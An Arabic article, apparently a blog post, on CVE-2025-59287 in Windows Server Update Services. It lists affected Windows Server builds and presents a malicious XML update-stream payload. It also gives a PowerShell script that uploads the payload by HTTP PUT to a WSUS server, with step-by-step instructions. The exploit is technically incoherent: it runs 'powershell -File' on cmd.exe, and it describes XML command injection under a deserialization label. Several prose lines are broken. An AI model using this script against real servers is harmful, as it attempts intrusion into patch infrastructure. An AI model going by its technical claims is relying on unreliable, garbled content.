
تحليل تقني واستغلال إثبات المفهوم لـ CVE-2025-59287، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد حرجة في Windows Server Update Services عبر إلغاء التسلسل غير الآمن، بما في ذلك الإصدارات المتأثرة وخطوات التخفيف.
CVE-2025-59287 هي ثغرة RCE حرجة في Windows Server Update Services (WSUS) ناتجة عن إلغاء تسلسل غير آمن لبيانات غير موثوقة. تسمح للمهاجمين عن بُعد بتنفيذ تعليمات برمجية عشوائية دون مصادقة. يُنصح بتطبيق التصحيح بشكل عاجل بسبب الاستغلال النشط.
CVE‑2025‑59287 – تهديد تنفيذ التعليمات البرمجية عن بُعد في Windows Server Update Services (WSUS)
بقلم مارك ماليا
تُعد خدمة Windows Server Update Services (WSUS) من مايكروسوفت العمود الفقري لإدارة التصحيحات لكل منصة Windows Server من مايكروسوفت. فهي تسترجع التحديثات من كتالوج تحديثات مايكروسوفت، وتتحقق من صحتها، ثم تدفعها إلى جميع الخوادم في الشبكة. تستغل الثغرة المعروفة باسم CVE‑2025‑59287 روتين إلغاء تسلسل غير آمن داخل WSUS يسمح للمهاجم بحقن محتوى XML عشوائي في خلاصة التحديثات. ولأن WSUS يعالج الحمولة دون أي تحقق من مسار المصدر أو بيانات الأوامر، يمكن للمهاجم توفير أي اسم ملف ومسار، مما يؤدي إلى تنفيذ تعليمات برمجية كامل عن بُعد على الخادم المستهدف.
لماذا هذا مهم:
| إصدار المنتج | الإصدارات المتأثرة |
|---|
| Windows Server 2012 | 6.2.9200.0 – < 6.2.9200.25728 |
| Windows Server 2012 R2 | 6.3.9600.0 – < 6.3.9600.22826 |
| Windows Server 2016 | 10.0.14393.0 – < 10.0.14393.8524 |
| Windows Server 2019 | 10.0.17763.0 – < 10.0.17763.7922 |
| Windows Server 2022 | 10.0.20348.0 – < 10.0.20348.4297 |
| Windows Server 2025 | 10.0.26100.0 – < 10.0.26100.6905 |
| Windows Server 23H2 | 10.0.25398.0 – < 10.0.25398.1916 |
(إذا كانت بيئتك تستخدم إصدار تصحيح مختلفًا، فما عليك سوى تعديل النطاق وفقًا لذلك.)
System.Xml.Linq.XElement.<SourcePath>؛ وتُكتب هذه القيمة على القرص كمسار مطلق.<Command> بواسطة PowerShell عندما يعالج WSUS الدفق، مما يعطي تنفيذ تعليمات برمجية كاملًا عن بُعد.فيما يلي حمولة XML التي سنرفعها إلى خادم ضعيف.
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS Exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
### نموذج لسكربت استغلال PowerShell
سيقوم السكربت التالي بإنشاء حمولة XML، ورفعها عبر HTTP PUT إلى مثيل WSUS الخاص بك، وترك ملف سجل لاستكشاف الأخطاء وإصلاحها.
# --------------------------------------------------
# File: wsus‑exploit.ps1
# Purpose: Generate malicious UpdateStream.xml,
# upload it to the WSUS server,
# trigger the feed.
# --------------------------------------------------
param (
[string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
[int] $Port = 80,
[string] $XmlFile = '.\payload.xml'
)
function Build-Xml {
param ([string]$file)
$xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
"@
Set-Content -Path $file -Value $xmlContent
}
# Build the XML payload
Build-Xml -file $XmlFile
# Upload via HTTP PUT
Invoke-WebRequest -Uri $TargetUrl `
-Method Put `
-InFile $XmlFile `
-OutFile 'upload.log'
Write-Host "Upload complete – WSUS should now process the stream."
winver.exe على كل Windows Server لتأكيد أن الإصدار يقع ضمن النطاقات المذكورة أعلاه.wsus‑exploit.ps1 إلى جهاز يمكنه الوصول إلى مثيل WSUS الخاص بك، وعدّل $TargetUrl إذا كنت تستخدم مسارًا أو منفذًا مختلفًا.C:\Windows\System32\cmd.exe على كل خادم مستهدف وأنه يحتوي على الحمولة المتوقعة.المعلومات ورمز الاستغلال المقدم هنا لأغراض تعليمية فقط. يرجى التأكد من حصولك على إذن لتشغيل هذا الاختبار ضد بيئة WSUS الخاصة بك، واتباع جميع إرشادات أفضل الممارسات الأمنية المعمول بها عند نشر التغييرات على أنظمة الإنتاج.